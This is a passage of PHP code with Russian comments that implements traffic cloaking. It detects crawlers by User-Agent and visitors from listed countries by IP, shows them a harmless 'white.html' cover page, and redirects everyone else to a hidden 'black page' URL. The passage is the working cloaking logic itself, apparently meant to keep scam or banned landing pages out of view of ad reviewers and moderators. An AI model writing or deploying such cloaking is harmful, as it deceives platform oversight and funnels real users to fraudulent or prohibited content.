countryCode ?? 'XX'; } $is_bot = false; // Проверка по User-Agent foreach ($bot_user_agents as $bot) { if (stripos($user_agent, $bot) !== false) { $is_bot = true; break; } } // Проверка по IP страны, если это не бот if (!$is_bot) { $country = get_country_by_ip($user_ip); if (in_array($country, $forbidden_countries)) { $is_bot = true; } } // Принятие решения if ($is_bot) { // Показываем ширму ботам и людям из запрещенных стран if (file_exists('white.html')) { include 'white.html'; } else { echo "Error: white.html not found."; } } else { // Отправляем всех остальных на черную страницу header('Location: ' . $black_page_url); exit(); } ?>